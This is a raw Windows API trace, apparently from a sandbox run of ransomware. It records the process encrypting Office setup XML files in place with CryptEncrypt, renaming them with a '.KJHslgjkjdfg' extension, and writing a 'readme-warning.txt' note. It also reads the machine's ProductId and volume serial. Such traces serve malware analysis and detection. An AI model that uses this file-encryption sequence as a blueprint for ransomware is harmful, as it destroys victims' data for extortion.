[0170.545] GetProcessHeap () returned 0x2ef0000 [0170.545] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.545] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.545] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.545] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.545] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.545] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.546] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.546] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.546] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.546] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.546] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.546] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.546] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x648, lpOverlapped=0x0) returned 1 [0170.546] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x650, dwBufLen=0x650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x650) returned 1 [0170.546] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.546] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x650, lpOverlapped=0x0) returned 1 [0170.546] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.546] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.546] SetEndOfFile (hFile=0x118) returned 1 [0170.549] GetProcessHeap () returned 0x2ef0000 [0170.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.549] GetProcessHeap () returned 0x2ef0000 [0170.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.555] CloseHandle (hObject=0x118) returned 1 [0170.555] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.555] GetProcessHeap () returned 0x2ef0000 [0170.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.555] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.555] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.555] GetProcessHeap () returned 0x2ef0000 [0170.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.555] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.555] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.555] GetProcessHeap () returned 0x2ef0000 [0170.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.555] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.555] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.555] GetProcessHeap () returned 0x2ef0000 [0170.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.555] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.555] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.556] GetProcessHeap () returned 0x2ef0000 [0170.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.556] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.556] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.556] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.556] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.556] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.556] RegCloseKey (hKey=0x118) returned 0x0 [0170.556] GetProcessHeap () returned 0x2ef0000 [0170.556] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.556] GetProcessHeap () returned 0x2ef0000 [0170.556] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.556] GetProcessHeap () returned 0x2ef0000 [0170.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.556] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.556] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.556] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.556] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.556] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.557] GetProcessHeap () returned 0x2ef0000 [0170.557] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.557] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.557] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.557] GetProcessHeap () returned 0x2ef0000 [0170.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.557] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\readme-warning.txt") returned 114 [0170.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.561] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.562] CloseHandle (hObject=0x118) returned 1 [0170.562] GetProcessHeap () returned 0x2ef0000 [0170.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.562] GetProcessHeap () returned 0x2ef0000 [0170.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.562] GetProcessHeap () returned 0x2ef0000 [0170.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.562] GetProcessHeap () returned 0x2ef0000 [0170.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.562] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.562] GetProcessHeap () returned 0x2ef0000 [0170.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.562] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0170.562] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0170.562] GetProcessHeap () returned 0x2ef0000 [0170.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc8) returned 0x2f14588 [0170.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.564] GetProcessHeap () returned 0x2ef0000 [0170.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.564] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.564] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.564] GetProcessHeap () returned 0x2ef0000 [0170.564] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2ca) returned 0x2f47728 [0170.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.565] GetProcessHeap () returned 0x2ef0000 [0170.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.565] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.565] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.565] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xf, lpOverlapped=0x0) returned 1 [0170.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.569] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.569] GetProcessHeap () returned 0x2ef0000 [0170.569] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.569] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.570] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.570] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.570] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.570] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.570] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.570] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.570] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.570] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.570] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x1861, lpOverlapped=0x0) returned 1 [0170.571] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1870, dwBufLen=0x1870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1870) returned 1 [0170.571] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.571] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x1870, lpOverlapped=0x0) returned 1 [0170.572] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.572] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.572] SetEndOfFile (hFile=0x118) returned 1 [0170.574] GetProcessHeap () returned 0x2ef0000 [0170.574] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.574] GetProcessHeap () returned 0x2ef0000 [0170.574] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.576] CloseHandle (hObject=0x118) returned 1 [0170.576] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0170.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.579] GetProcessHeap () returned 0x2ef0000 [0170.579] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.579] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.580] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.580] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x1, lpOverlapped=0x0) returned 1 [0170.583] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.583] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.583] GetProcessHeap () returned 0x2ef0000 [0170.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.583] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.583] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.583] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.583] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.583] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.583] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.583] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.583] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.583] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.583] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.583] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.584] ReadFile (in: hFile=0x118, 